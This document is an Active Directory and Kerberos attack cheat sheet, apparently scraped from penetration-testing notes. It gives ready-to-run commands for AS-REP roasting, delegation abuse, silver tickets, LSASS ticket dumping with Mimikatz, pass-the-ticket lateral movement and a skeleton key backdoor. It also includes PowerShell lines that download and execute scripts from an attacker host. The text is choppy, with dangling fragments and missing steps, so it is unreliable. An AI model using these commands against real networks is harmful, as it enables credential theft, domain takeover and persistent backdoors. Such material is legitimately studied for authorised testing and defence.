Attempt to harvest encrypted TGT, for a later cracking, from users with the attribute DONT_REQ_PREAUTH enabled.
# Modify the hash, so it looks like this "$krb5asrep$23$..."
.\Rubeus.exe asreproast
# check ASREPRoast for all domain users (credentials required)
python GetNPUsers.py <domain_name>/<domain_user>[:<domain_user_password>] [-no-pass] -request -format {hashcat | john} -outputfile <output_AS_REP_responses_file>
# check ASREPRoast for a list of users (no credentials required)
python GetNPUsers.py <domain_name> [-usersfile <users_file>] -format {hashcat | john} -outputfile <output_AS_REP_responses_file> [-no-pass]
Cracking password
hashcat -m 18200 -a 0 <hashes.txt> <wordlist.txt>
User Enum (Abusing Pre-Authentication)
By brute-forcing the Kerberos pre-authentication, you do not trigger an account failed event.
This vulnerability arises when a principal account (a user or mainly a computer) is configured with unconstrained delegation privileges, which allows the account to impersonate any user on the network and access any resource that the user has permission to access.
Cached tickets
If you have admin access on a machine with unconstrained delegation, look for some cached krbtgt tickets and extract them.
Another method to take advantage of this vulnerability is by executing one of the following tools so the victim machine interacts with the vulnerable machine, obtaining the machine's TGT, so it be used for lateral movement getting access to the machine as administrator.
4. Impersonate the user (There are two alternatives)
# Create a new process
.\Rubeus.exe createnetonly /program:C:\Windows\System32\cmd.exe /domain:<DOMAIN> /username:Administrator /password:FakePass123 /ticket:<TICKET>
# Import the ticket into the process
Invoke-Mimikatz -Command '"kerberos::ptt <KIRBI_FILE>"'
5. Test if you can access the machine
ls \\<HOSTNAME>\C$
Constrained Delegation
When constrained delegation is enabled on a service account, it limits the user's access to only specified services on specific computers. This type of delegation is commonly used in scenarios where a user authenticates to a web service without Kerberos and the service needs to make requests to a database server on behalf of the user to retrieve data based on their authorization.
To impersonate a user, Service for User (S4U) extension is used which provides two extensions:
Service for User to Self (S4U2self): Allows a service to obtain a forwardable TGS to itself on behalf of a user.
Service for User to Proxy (S4U2proxy): Allows a service to obtain a TGS to a second service on behalf of a user.
The steps to take advantage of this feature are the following:
1. Obtain the TGT of the principal (computer or user) trusted for delegation.
# List the tickets
.\Rubeus.exe triage
# Obtain the ticket
.\Rubeus.exe dump /service:krbtgt /nowrap /luid:<LUID>
2. With the TGT, perform an S4U request to obtain a usable TGS for CIFS. This will perform an S4U2Self first and then an S4U2Proxy.
/impersonateuser is the user we want to impersonate - they should have local admin access on the target machine. nlamb is a domain admin which is required for accessing the domain controller.
/msdsspn is the service principal name that SQL-2 is allowed to delegate to.
/user is the principal allowed to perform the delegation.
# Create a new process
.\Rubeus.exe createnetonly /program:C:\Windows\System32\cmd.exe /domain:<DOMAIN> /username:<IMPERSONATED_USER> /password:FakePass /ticket:<TICKET>
# Import Ticket into the process
Invoke-Mimikatz -Command '"kerberos::ptt <KIRBI_FILE>"'
The two major prerequisites to pull off the attack are:
A target computer on which you can modify "msDS-AllowedToActOnBehalfOfOtherIdentity".
Control of another principal that has an SPN.
The steps to reproduce the attack are the following:
1. Look for modifiable ACL permissions
Get-DomainComputer | Get-DomainObjectAcl -ResolveGUIDs | ? { $_.ActiveDirectoryRights -match "WriteProperty|GenericWrite|GenericAll|WriteDacl" -and $_.SecurityIdentifier -match "S-1-5-21-569305411-121244042-2357301523-[\d]{4,10}" }
# Convert the obtained SID to know the name of the ACL
ConvertFrom-SID <SID>
2. On a domain machine with high privilege, request its SID.
On constrained delegation the delegedation occurs not only for the specified service on the target machine but for any service running on the machine under the same account name. There is no validation for the SPN specified in s4u.
Hence, it allows access to different services running on the machine (usually CIFS). To exploit this vulnerability, you can create a TGT with the following command.
Resource-Based Constrained Delegation (GenericWrite to Computer)
Having a domain user with GenericWrite into a domain computer implies that it is possible to access the computer as Administrator.
1. Create a fake domain computer and modify the attribute msds-allowedtoactonbehalfofotheridentity of the target computer. There are several alternatives to achieve this goal.
IEX(new-object system.net.webclient).downloadstring('http://<YOUR_IP>/Powermad.ps1');
IEX(new-object system.net.webclient).downloadstring('http://<YOUR_IP>/PowerView.ps1');
New-MachineAccount -MachineAccount rulon -Password $(ConvertTo-SecureString 'Password123!' -AsPlainText -Force) -Verbose
# If Set-ADComputer, is not recognized it it is necessary to install the (Requires high privileges)
Enable-WindowsOptionalFeature -FeatureName ActiveDirectory-Powershell -Online -All
Set-ADComputer <VULNERABLE_MACHINE_NAME> -PrincipalsAllowedToDelegateToAccount rulon$ -Server <DC_IP> -Verbose
# Alternative 1 - Windows
ls \\<VULNERABLE_MACHINE_NAME>\c$
# Alternative 2 - Impacket
export KRB5CCNAME=$(pwd)/administrator.ccache
impacket-psexec administrator@backup01.corp.com -k -no-pass
S4U2Self Abuse
S4U2Self (Service for User to Self) allows a service to obtain a TGS to itself on behalf of a user. While, S4U2Proxy allows the service to obtain a TGS on behalf of a user to a second service.
So, when a client authenticates to the service using, say, NTLM authentication, what the service will do is first send S4U2Self request to get TGS to itself. Then use this TGS with S4U2Proxy to request TGS to another service, impersonating a user on that machine.
This is because machines do not get remote local admin access to themselves. What we can do instead is abuse S4U2Self to obtain a usable TGS as a user we know is a local admin (e.g. a domain admin).
A Silver Ticket has limited use because it can only allow access to the targeted service. To achieve this you need to dump any service or domain admin ticket.
Dump the hash and the security identifier for the targeted service.
Now you are able to access the computer hosting the service with admin rights using the techniques of passing the ticket.
In order to check that we have admin permissions on the service host, you can use dir against the ADMIN$ share.
dir \\vulnerable.computer\C$
dir \\vulnerable.computer\ADMIN$
copy afile.txt \\vulnerable.computer\C$\Windows\Temp
Silver Ticket (Remote)
If we are inside a network and have enough information about the victim's service but no access to a machine to craft a ticket with mimikatz, we can ticketer to create a silver ticket. But, we need the following requirements:
Domain SID: Obtained using rpcclient, LDAP, mimikatz, getPac, etc.
User-id: Id of the user we want to impersonate, by default, is 500 (Administrator). It can be obtained with the tools mentioned earlier
Just like kerberoasting, you can crack a ticket to get the SPN account password.
tgsrepcrack.py <wordlist.txt> <ticket.kirbi>
Pass The Ticket
Dumping TGT from the LSASS memory of the machine. For a later use impersonating the user.
Exporting tickets
mimikatz.exe "privilege::debug" "sekurlsa::tickets /export" #Dumping all the tickets en ficheros *.kirbi
Using the tikets
Linux
# Set the ticket for impacket use
export KRB5CCNAME=<TGT_ccache_file_path>
# Execute remote commands with any of the following commands by using the TGT
python psexec.py <domain_name>/<user_name>@<remote_hostname> -k -no-pass
python smbexec.py <domain_name>/<user_name>@<remote_hostname> -k -no-pass
python wmiexec.py <domain_name>/<user_name>@<remote_hostname> -k -no-pas
Windows
mimikatz.exe "kerberos::ptt <ticket.kirbi>"
# List tickets, checking it has been imported correctly
klist
# Import the ticket
.\Rubeus.exe ptt /ticket:<ticket_kirbi_file>
# Execue a remote cmd
.\PsExec.exe -accepteula \\<remote_hostname> cmd
Skeleton Key backdoor
Implanting a skeleton key that abuses AS-REQ encrypted timestamp validation, allowing you to access to the domain forest.
Note: A skeleton key only works using Kerberos RC4 encryption.
Accessing the forest with the default mimikatz password "mimikatz".
net use C:\\<DC>\admin$ /user:Administrator mimikatz
References
Delegation allows a server to impersonate a client and access network resources on the client's behalf. This is useful in situations where a client needs to access resources that are not directly accessible, such as when accessing a file share on another server.
In order to exploit this vulnerability, you will need to be administrator on the machine.
You need to be NT Authority system.
(Executable)
(Executable)
(Requires domain credentials)
It should appear "myComputer$".
More ways to access the service machine:
NTLM hash: Obtained by obtaining the user's password by cracking the user SPN Ticket, mimizatz, etc. and converting it into NTLM format using a web such as .
